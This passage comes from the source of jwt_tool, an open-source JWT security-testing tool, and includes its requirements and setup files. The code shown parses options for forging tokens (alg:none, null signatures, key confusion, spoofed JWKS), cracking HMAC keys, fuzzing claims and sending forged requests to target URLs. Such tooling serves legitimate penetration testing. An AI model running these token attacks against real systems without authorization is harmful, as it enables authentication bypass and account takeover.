\x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ ") 1840 | print(" \\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __| \\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __| \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1841 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1842 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1843 | print("\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m _\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1844 | print("\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m / \\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1845 | print("\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m / \\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |") 1846 | print(" \\______/ \\__/ \\__| \\__|\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\__| \\______/ \\______/ \\__|") 1847 | print(" \x1b[36mVersion "+jwttoolvers+" \x1b[0m \\______| \x1b[36m@ticarpi\x1b[0m ") 1848 | print() 1849 | 1850 | if __name__ == '__main__': 1851 | parser = argparse.ArgumentParser(epilog="If you don't have a token, try this one:\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po", formatter_class=argparse.RawTextHelpFormatter) 1852 | parser.add_argument("jwt", nargs='?', type=str, 1853 | help="the JWT to tinker with (no need to specify if in header/cookies)") 1854 | parser.add_argument("-b", "--bare", action="store_true", 1855 | help="return TOKENS ONLY") 1856 | parser.add_argument("-t", "--targeturl", action="store", 1857 | help="URL to send HTTP request to with new JWT") 1858 | parser.add_argument("-r", "--request", action="store", 1859 | help="URL request to base on") 1860 | parser.add_argument("-rt", "--rate", action="store", 1861 | help="Max. number of requests per minute") 1862 | parser.add_argument("-i", "--insecure", action="store_true", 1863 | help="Use HTTP for passed request") 1864 | parser.add_argument("-rc", "--cookies", action="store", 1865 | help="request cookies to send with the forged HTTP request") 1866 | parser.add_argument("-rh", "--headers", action="append", 1867 | help="request headers to send with the forged HTTP request (can be used multiple times for additional headers)") 1868 | parser.add_argument("-pd", "--postdata", action="store", 1869 | help="text string that contains all the data to be sent in a POST request") 1870 | parser.add_argument("-cv", "--canaryvalue", action="store", 1871 | help="text string that appears in response for valid token (e.g. \"Welcome, ticarpi\")") 1872 | parser.add_argument("-np", "--noproxy", action="store_true", 1873 | help="disable proxy for current request (change in jwtconf.ini if permanent)") 1874 | parser.add_argument("-nr", "--noredir", action="store_true", 1875 | help="disable redirects for current request (change in jwtconf.ini if permanent)") 1876 | parser.add_argument("-M", "--mode", action="store", 1877 | help="Scanning mode:\npb = playbook audit\ner = fuzz existing claims to force errors\ncc = fuzz common claims\nat - All Tests!") 1878 | parser.add_argument("-X", "--exploit", action="store", 1879 | help="eXploit known vulnerabilities:\na = alg:none\nn = null signature\nb = blank password accepted in signature\np = 'psychic signature' accepted in ECDSA signing\ns = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)\nk = key confusion (specify public key with -pk)\ni = inject inline JWKS") 1880 | parser.add_argument("-ju", "--jwksurl", action="store", 1881 | help="URL location where you can host a spoofed JWKS") 1882 | parser.add_argument("-S", "--sign", action="store", 1883 | help="sign the resulting token:\nhs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)\nrs256/rs384/rs512 = RSA signing (specify an RSA private key with -pr)\nes256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)\nps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)") 1884 | parser.add_argument("-pr", "--privkey", action="store", 1885 | help="Private Key for Asymmetric crypto") 1886 | parser.add_argument("-T", "--tamper", action="store_true", 1887 | help="tamper with the JWT contents\n(set signing options with -S or use exploits with -X)") 1888 | parser.add_argument("-I", "--injectclaims", action="store_true", 1889 | help="inject new claims and update existing claims with new values\n(set signing options with -S or use exploits with -X)\n(set target claim with -hc/-pc and injection values/lists with -hv/-pv") 1890 | parser.add_argument("-hc", "--headerclaim", action="append", 1891 | help="Header claim to tamper with") 1892 | parser.add_argument("-pc", "--payloadclaim", action="append", 1893 | help="Payload claim to tamper with") 1894 | parser.add_argument("-hv", "--headervalue", action="append", 1895 | help="Value (or file containing values) to inject into tampered header claim") 1896 | parser.add_argument("-pv", "--payloadvalue", action="append", 1897 | help="Value (or file containing values) to inject into tampered payload claim") 1898 | parser.add_argument("-C", "--crack", action="store_true", 1899 | help="crack key for an HMAC-SHA token\n(specify -d/-p/-kf)") 1900 | parser.add_argument("-d", "--dict", action="store", 1901 | help="dictionary file for cracking") 1902 | parser.add_argument("-p", "--password", action="store", 1903 | help="password for cracking") 1904 | parser.add_argument("-kf", "--keyfile", action="store", 1905 | help="keyfile for cracking (when signed with 'kid' attacks)") 1906 | parser.add_argument("-V", "--verify", action="store_true", 1907 | help="verify the RSA signature against a Public Key\n(specify -pk/-jw)") 1908 | parser.add_argument("-pk", "--pubkey", action="store", 1909 | help="Public Key for Asymmetric crypto") 1910 | parser.add_argument("-jw", "--jwksfile", action="store", 1911 | help="JSON Web Key Store for Asymmetric crypto") 1912 | parser.add_argument("-Q", "--query", action="store", 1913 | help="Query a token ID against the logfile to see the details of that request\ne.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a") 1914 | parser.add_argument("-v", "--verbose", action="store_true", 1915 | help="When parsing and printing, produce (slightly more) verbose output.") 1916 | args = parser.parse_args() 1917 | if not args.bare: 1918 | printLogo() 1919 | try: 1920 | path = os.path.expanduser("~/.jwt_tool") 1921 | if not os.path.exists(path): 1922 | os.makedirs(path) 1923 | except: 1924 | path = sys.path[0] 1925 | logFilename = path+"/logs.txt" 1926 | configFileName = path+"/jwtconf.ini" 1927 | config = configparser.ConfigParser() 1928 | if (os.path.isfile(configFileName)): 1929 | config.read(configFileName) 1930 | print(configFileName) 1931 | else: 1932 | cprintc("No config file yet created.\nRunning config setup.", "cyan") 1933 | createConfig() 1934 | if config['services']['jwt_tool_version'] != jwttoolvers: 1935 | cprintc("Config file showing wrong version ("+config['services']['jwt_tool_version']+" vs "+jwttoolvers+")", "red") 1936 | cprintc("Current config file has been backed up as '"+path+"/old_("+config['services']['jwt_tool_version']+")_jwtconf.ini' and a new config generated.\nPlease review and manually transfer any custom options you have set.", "red") 1937 | os.rename(configFileName, path+"/old_("+config['services']['jwt_tool_version']+")_jwtconf.ini") 1938 | createConfig() 1939 | exit(1) 1940 | with open(path+"/null.txt", 'w') as nullfile: 1941 | pass 1942 | findJWT = "" 1943 | 1944 | if args.request: 1945 | port = '' 1946 | 1947 | with open(args.request, 'r') as file: 1948 | first_line = file.readline().strip() 1949 | method, first_line_remainder = first_line.split(' ', 1) 1950 | url = first_line_remainder.split(' ', 1)[0] 1951 | base_url = '' 1952 | 1953 | in_headers = True 1954 | args.postdata = '' 1955 | 1956 | for line in file: 1957 | 1958 | line = line.strip() 1959 | if not line: 1960 | # Stop when reaching an empty line (end of headers) 1961 | in_headers = False 1962 | continue 1963 | 1964 | if in_headers: 1965 | if line.lower().startswith('host:'): 1966 | # Extract the host from the 'Host' header 1967 | _, host = line.split(':', 1) 1968 | host = host.strip() 1969 | 1970 | if ':' in host: 1971 | host, port = host.split(':', 1) 1972 | 1973 | protocol = "http" if args.insecure else "https" 1974 | 1975 | base_url = f"{protocol}://{host}" 1976 | 1977 | elif line.lower().startswith('cookie:'): 1978 | cookie = line.split(': ')[1] 1979 | if not args.cookies: 1980 | args.cookies = '' 1981 | args.cookies += cookie 1982 | else: 1983 | # Don't add user agent field, otherwise 'jwt_tool' in user agent will not work 1984 | if not line.lower().startswith('user-agent:'): 1985 | if not args.headers: 1986 | args.headers = [] 1987 | args.headers.append(line) 1988 | else: 1989 | args.postdata += line 1990 | 1991 | if not port: 1992 | url_object = urlparse(url) 1993 | if url_object.port: 1994 | port = str(url_object.port) 1995 | 1996 | absolute_url = urljoin(base_url + (':' + port if port else ''), url) 1997 | args.targeturl = absolute_url 1998 | 1999 | if args.rate: 2000 | try: 2001 | if int(args.rate) > 0: 2002 | rate = int(args.rate) 2003 | # Reassign decorator with new rate limit value 2004 | sendToken = sleep_and_retry(limits(calls=rate, period=DEFAULT_RATE_PERIOD)(sendToken)) 2005 | # Display appropriate log 2006 | RPS = rate/DEFAULT_RATE_PERIOD 2007 | if RPS < 1: 2008 | cprintc("[+] RATE-LIMIT: Running at "+ str((rate/DEFAULT_RATE_PERIOD)*60) + " requests per minute\n", "cyan") 2009 | else: 2010 | cprintc("[+] RATE-LIMIT: Running at "+ str((rate/DEFAULT_RATE_PERIOD)) + " requests per second\n", "cyan") 2011 | 2012 | else: 2013 | cprintc("Rate must be an integer > 0", "red") 2014 | exit(1) 2015 | except: 2016 | cprintc("Error: could not handle rate argument", "red") 2017 | exit(1) 2018 | if args.targeturl: 2019 | if args.cookies or args.headers or args.postdata: 2020 | jwt_count = 0 2021 | jwt_locations = [] 2022 | 2023 | if args.cookies and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', args.cookies): 2024 | jwt_count += 1 2025 | jwt_locations.append("cookie") 2026 | 2027 | if args.headers and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.headers)): 2028 | jwt_count += 1 2029 | jwt_locations.append("headers") 2030 | 2031 | if args.postdata and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.postdata)): 2032 | jwt_count += 1 2033 | jwt_locations.append("post data") 2034 | 2035 | if jwt_count > 1: 2036 | cprintc("Too many tokens! JWT in more than one place: cookie, header, POST data", "red") 2037 | exit(1) 2038 | 2039 | if args.cookies: 2040 | try: 2041 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', args.cookies): 2042 | config['argvals']['headerloc'] = "cookies" 2043 | except: 2044 | cprintc("Invalid cookie formatting", "red") 2045 | exit(1) 2046 | 2047 | if args.headers: 2048 | try: 2049 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.headers)): 2050 | config['argvals']['headerloc'] = "headers" 2051 | except: 2052 | cprintc("Invalid header formatting", "red") 2053 | exit(1) 2054 | 2055 | if args.postdata: 2056 | try: 2057 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.postdata)): 2058 | config['argvals']['headerloc'] = "postdata" 2059 | except: 2060 | cprintc("Invalid postdata formatting", "red") 2061 | exit(1) 2062 | 2063 | searchString = " | ".join([ 2064 | str(args.cookies), 2065 | str(args.headers), 2066 | str(args.postdata) 2067 | ]) 2068 | 2069 | try: 2070 | findJWT = re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', searchString)[0] 2071 | except: 2072 | cprintc("Cannot find a valid JWT", "red") 2073 | cprintc(searchString, "cyan") 2074 | exit(1) 2075 | if args.query: 2076 | jwt = searchLog(args.query) 2077 | elif args.jwt: 2078 | jwt = args.jwt 2079 | cprintc("Original JWT: "+findJWT+"\n", "cyan") 2080 | elif findJWT: 2081 | jwt = findJWT 2082 | cprintc("Original JWT: "+findJWT+"\n", "cyan") 2083 | else: 2084 | parser.print_usage() 2085 | cprintc("No JWT provided", "red") 2086 | exit(1) 2087 | if args.mode: 2088 | if args.mode not in ['pb','er', 'cc', 'at']: 2089 | parser.print_usage() 2090 | cprintc("\nPlease choose a scanning mode (e.g. -M pb):\npb = playbook\ner = force errors\ncc = fuzz common claims\nat = all tests", "red") 2091 | exit(1) 2092 | else: 2093 | config['argvals']['scanMode'] = args.mode 2094 | if args.exploit: 2095 | if args.exploit not in ['a', 'n', 'b', 's', 'i', 'k', 'p']: 2096 | parser.print_usage() 2097 | cprintc("\nPlease choose an exploit (e.g. -X a):\na = alg:none\nn = null signature\nb = blank password accepted in signature\np = 'psychic signature' accepted in ECDSA signing\ns = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)\nk = key confusion (specify public key with -pk)\ni = inject inline JWKS", "red") 2098 | exit(1) 2099 | else: 2100 | config['argvals']['exploitType'] = args.exploit 2101 | if args.sign: 2102 | if args.sign not in ['hs256','hs384','hs512','rs256','rs384','rs512','es256','es384','es512','ps256','ps384','ps512']: 2103 | parser.print_usage() 2104 | cprintc("\nPlease choose a signature option (e.g. -S hs256)", "red") 2105 | exit(1) 2106 | else: 2107 | config['argvals']['sigType'] = args.sign 2108 | headDict, paylDict, sig, contents = validateToken(jwt) 2109 | paylB64 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 2110 | config['argvals']['overridesub'] = "false" 2111 | if args.targeturl: 2112 | config['argvals']['targetUrl'] = args.targeturl.replace('%','%%') 2113 | if args.cookies: 2114 | config['argvals']['cookies'] = args.cookies.replace('%', '%%') 2115 | if args.headers: 2116 | config['argvals']['header'] = str(args.headers) 2117 | if args.dict: 2118 | config['argvals']['keyList'] = args.dict 2119 | if args.keyfile: 2120 | config['argvals']['keyFile'] = args.keyfile 2121 | if args.password: 2122 | config['argvals']['key'] = args.password 2123 | if args.pubkey: 2124 | config['crypto']['pubkey'] = args.pubkey 2125 | if args.privkey: 2126 | config['crypto']['privkey'] = args.privkey 2127 | if args.jwksfile: 2128 | config['crypto']['jwks'] = args.jwksfile 2129 | if args.jwksurl: 2130 | config['services']['jwksloc'] = args.jwksurl 2131 | if args.payloadclaim: 2132 | config['argvals']['payloadclaim'] = str(args.payloadclaim) 2133 | if args.headerclaim: 2134 | config['argvals']['headerclaim'] = str(args.headerclaim) 2135 | if args.payloadvalue: 2136 | config['argvals']['payloadvalue'] = str(args.payloadvalue) 2137 | if args.headervalue: 2138 | config['argvals']['headervalue'] = str(args.headervalue) 2139 | if args.postdata: 2140 | config['argvals']['postData'] = args.postdata.replace('%', '%%') 2141 | if args.canaryvalue: 2142 | config['argvals']['canaryvalue'] = args.canaryvalue 2143 | if args.noproxy: 2144 | config['services']['proxy'] = "False" 2145 | if args.noredir: 2146 | config['services']['redir'] = "False" 2147 | if args.request: 2148 | config['argvals']['request'] = args.request 2149 | 2150 | 2151 | if not args.crack and not args.exploit and not args.verify and not args.tamper and not args.injectclaims: 2152 | rejigToken(headDict, paylDict, sig) 2153 | if args.sign: 2154 | signingToken(headDict, paylDict) 2155 | if args.injectclaims: 2156 | injectionfile = "" 2157 | newheadDict = headDict 2158 | newpaylDict = paylDict 2159 | if args.headerclaim: 2160 | if not args.headervalue: 2161 | cprintc("Must specify header values to match header claims to inject.", "red") 2162 | exit(1) 2163 | if len(args.headerclaim) != len(args.headervalue): 2164 | cprintc("Amount of header values must match header claims to inject.", "red") 2165 | exit(1) 2166 | if args.payloadclaim: 2167 | if not args.payloadvalue: 2168 | cprintc("Must specify payload values to match payload claims to inject.", "red") 2169 | exit(1) 2170 | if len(args.payloadclaim) != len(args.payloadvalue): 2171 | cprintc("Amount of payload values must match payload claims to inject.", "red") 2172 | exit(1) 2173 | if args.payloadclaim: 2174 | for payloadclaim, payloadvalue in zip(args.payloadclaim, args.payloadvalue): 2175 | if os.path.isfile(payloadvalue): 2176 | injectionfile = ["payload", payloadclaim, payloadvalue] 2177 | else: 2178 | newpaylDict, newPaylB64 = injectpayloadclaim(payloadclaim, payloadvalue) 2179 | paylB64 = newPaylB64 2180 | newContents = genContents(headDict, newpaylDict) 2181 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig) 2182 | if args.headerclaim: 2183 | for headerclaim, headervalue in zip(args.headerclaim, args.headervalue): 2184 | if os.path.isfile(headervalue): 2185 | injectionfile = ["header", headerclaim, headervalue] 2186 | else: 2187 | newheadDict, newHeadB64 = injectheaderclaim(headerclaim, headervalue) 2188 | newContents = genContents(newheadDict, paylDict) 2189 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig) 2190 | if injectionfile: 2191 | if args.mode: 2192 | cprintc("Fuzzing cannot be used alongside scanning modes", "red") 2193 | exit(1) 2194 | cprintc("Fuzzing file loaded: "+injectionfile[2], "cyan") 2195 | with open(injectionfile[2], "r", encoding='utf-8', errors='ignore') as valLst: 2196 | nextVal = valLst.readline() 2197 | cprintc("Generating tokens from injection file...", "cyan") 2198 | utf8errors = 0 2199 | wordcount = 0 2200 | while nextVal: 2201 | if injectionfile[0] == "payload": 2202 | newpaylDict, newPaylB64 = injectpayloadclaim(injectionfile[1], nextVal.rstrip()) 2203 | newContents = genContents(headDict, newpaylDict) 2204 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig) 2205 | paylB64 = newPaylB64 2206 | elif injectionfile[0] == "header": 2207 | newheadDict, newHeadB64 = injectheaderclaim(injectionfile[1], nextVal.rstrip()) 2208 | newContents = genContents(newheadDict, paylDict) 2209 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig) 2210 | injectOut(newheadDict, newpaylDict) 2211 | nextVal = valLst.readline() 2212 | exit(1) 2213 | else: 2214 | if not args.mode: 2215 | injectOut(newheadDict, newpaylDict) 2216 | exit(1) 2217 | if args.mode: 2218 | if not config['argvals']['targeturl'] and not args.bare: 2219 | cprintc("No target secified (-t), cannot scan offline.", "red") 2220 | exit(1) 2221 | runScanning() 2222 | runActions() 2223 | exit(1) 2224 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor 2 | cprint 3 | pycryptodomex 4 | requests 5 | ratelimit -------------------------------------------------------------------------------- /setup.txt: -------------------------------------------------------------------------------- 1 | git clone https://github.com/ticarpi/jwt_tool 2 | cd jwt_tool 3 | sudo apt install python3-pip 4 | python3 -m pip install termcolor cprint pycryptodomex requests 5 | chmod +x jwt_tool.py 6 | --------------------------------------------------------------------------------